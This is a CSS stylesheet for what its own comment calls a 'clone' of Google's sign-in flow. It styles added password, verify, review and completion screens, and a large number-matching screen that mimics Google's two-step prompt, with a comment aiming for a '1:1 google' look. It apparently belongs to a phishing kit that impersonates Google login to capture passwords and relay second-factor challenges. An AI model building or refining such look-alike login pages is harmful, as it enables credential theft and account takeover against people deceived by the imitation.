/* extra styles for the clone's added screens (verify/password/review/complete) */

/* slide transitions + number screen */
.step-content { opacity: 1; transition: transform .38s cubic-bezier(.4, 0, .2, 1), opacity .38s ease; }
.step-content.slide-out-left { transform: translateX(-36px); opacity: 0; }
.step-content.slide-in-right { transform: translateX(36px); opacity: 0; transition: none; }

.number-label { color: #444746; font-size: 14px; font-family: Roboto, arial, sans-serif; margin-bottom: 8px; }
.number-big { font-family: "Google Sans", roboto, arial, sans-serif; font-size: 48px; line-height: 1.1; letter-spacing: 4px; color: #1f1f1f; margin: 4px 0 10px; }
.number-sub { color: #5f6368; font-size: 13px; font-family: Roboto, arial, sans-serif; }

.verify-spinner { display: flex; align-items: center; gap: 14px; }

@media screen and (prefers-color-scheme: dark) {
  .number-label, .number-sub { color: #c4c7c5; }
  .number-big { color: #e3e3e3; }
}

.action-row { display: flex; align-items: center; justify-content: space-between; margin-top: 24px; }
.action-row .button-text { padding: 0 8px; }
.button-text:not(:disabled) { color: #1a73e8; }
.button-text:not(:disabled):hover, .button-text:not(:disabled):focus { color: #174ea6; }
input::-ms-reveal, input::-ms-clear { display: none; }

.show-password-label { margin-top: 12px; display: flex; align-items: center; gap: 8px; color: #1f1f1f; font-size: 14px; font-family: Roboto, arial, sans-serif; }
.show-password-label input { appearance: none; -webkit-appearance: none; width: 18px; height: 18px; margin: 0; border: 2px solid #5f6368; border-radius: 2px; background: transparent; position: relative; cursor: pointer; flex-shrink: 0; }
.show-password-label input:checked { border-color: #1a73e8; background: #1a73e8; }
.show-password-label input:checked::after { content: ""; position: absolute; left: 3px; top: -1px; width: 5px; height: 10px; border: solid #fff; border-width: 0 2px 2px 0; transform: rotate(45deg); }
.account-avatar-img { width: 100%; height: 100%; border-radius: 50%; object-fit: cover; display: block; }
@media (max-width: 640px) { .guest-mode { display: none !important; } }
@media screen and (prefers-color-scheme: dark) { .show-password-label input { border-color: #9aa0a6; } }

.review-step { font-size: 14px; color: #444746; margin: 4px 0 12px; font-family: Roboto, arial, sans-serif; }
.review-card { display: flex; gap: 16px; border: 1px solid #dadce0; border-radius: 8px; padding: 16px; align-items: flex-start; }
.review-card-icon { width: 40px; height: 40px; border-radius: 50%; background: #f1f3f4; display: flex; align-items: center; justify-content: center; flex-shrink: 0; }
.review-card-title { font-size: 12px; color: #5f6368; margin-bottom: 4px; font-family: Roboto, arial, sans-serif; }
.review-card-text-b { font-weight: 500; color: #202124; line-height: 1.5; font-size: 14px; font-family: Roboto, arial, sans-serif; }
.review-note { color: #5f6368; font-size: 14px; border-top: 1px solid #dadce0; padding-top: 12px; margin-top: 16px; font-family: Roboto, arial, sans-serif; }
.review-actions { display: flex; justify-content: flex-end; }
.review-actions .button-group { display: flex; gap: 8px; }

.info-box { border: 1px solid #dadce0; border-radius: 8px; padding: 16px; color: #3c4043; font-size: 14px; line-height: 1.5; margin-top: 8px; font-family: Roboto, arial, sans-serif; }

@media screen and (prefers-color-scheme: dark) {
  .show-password-label { color: #e3e3e3; }
  .review-step { color: #c4c7c5; }
  .review-card, .info-box { border-color: #5f6368; background: #1f1f1f; }
  .review-card-icon { background: #2b2b2b; }
  .review-card-title { color: #c4c7c5; }
  .review-card-text-b { color: #e3e3e3; }
  .review-note { color: #c4c7c5; border-color: #5f6368; }
  .info-box { color: #e3e3e3; }
}

/* number screen v2 + review tweaks */
.resend-row { margin-top: 12px; }
.resend-btn { padding: 0 !important; min-width: auto !important; height: auto !important; }
.number-big { text-align: center; font-size: 46px; letter-spacing: 3px; margin: 0 0 16px; }
.num-device { text-align: center; font-weight: 500; color: #1f1f1f; font-size: 15px; font-family: Roboto, arial, sans-serif; margin-bottom: 12px; }
.num-text { color: #3c4043; font-size: 14px; line-height: 1.55; font-family: Roboto, arial, sans-serif; }
.num-more { margin-top: 30px; }
.challenge-button-container .button-secondary-group { flex-grow: 0; }
@media screen and (prefers-color-scheme: dark) {
  .num-device { color: #e3e3e3; }
  .num-text { color: #c4c7c5; }
}

/* avatar letter font fix */
.account-avatar-circle { font-family: "Google Sans", roboto, "Noto Sans Myanmar UI", arial, sans-serif; }

/* ===== v4 polish: smooth steps, mobile/iPhone, errors ===== */
html, body { min-height: 100%; -webkit-tap-highlight-color: transparent; }
body { min-height: 100dvh; }
#stepContainer { transition: height .28s cubic-bezier(.4, 0, .2, 1); overflow-x: clip; position: relative; }
.step-content { transition: opacity .28s ease, transform .28s cubic-bezier(.4, 0, .2, 1); will-change: opacity, transform; backface-visibility: hidden; }
.step-content.iaf-hidden { opacity: 0; transform: translateY(14px); }
.step-content.iaf-leave { opacity: 0; transform: translateY(-10px); position: absolute; left: 0; right: 0; top: 0; pointer-events: none; }
input.input-field { font-size: 16px; }
.input-error-message { color: #d93025; font-size: 12px; line-height: 1.4; margin-top: 4px; }
.input-container.error .input-border, .input-container.error .input-underline { background: #d93025 !important; }
.input-container.error .input-label { color: #d93025 !important; }
@keyframes iaf-shake { 0% { transform: translateX(0); } 25% { transform: translateX(-4px); } 50% { transform: translateX(4px); } 75% { transform: translateX(-2px); } 100% { transform: translateX(0); } }
.input-container.error { animation: iaf-shake .32s ease; }
.wait-overlay { transition: opacity .2s ease; }
footer#appFooter { padding-bottom: calc(6px + env(safe-area-inset-bottom)); }
@media (max-width: 620px) {
  .main-content { padding: 18px 14px; }
  .number-big { font-size: 42px; }
  .review-card { gap: 12px; padding: 14px; }
  .challenge-button-container { flex-wrap: wrap; gap: 8px; }
}
@media (prefers-reduced-motion: reduce) {
  .step-content, #stepContainer { transition: none !important; }
  .input-container.error { animation: none; }
}
/* knoptekst wit op blauwe knoppen (1:1 google) */
.button .button-label { color: #fff !important; }
.button.button-text .button-label, .button.button-text:not(:disabled) .button-label { color: #1a73e8 !important; }
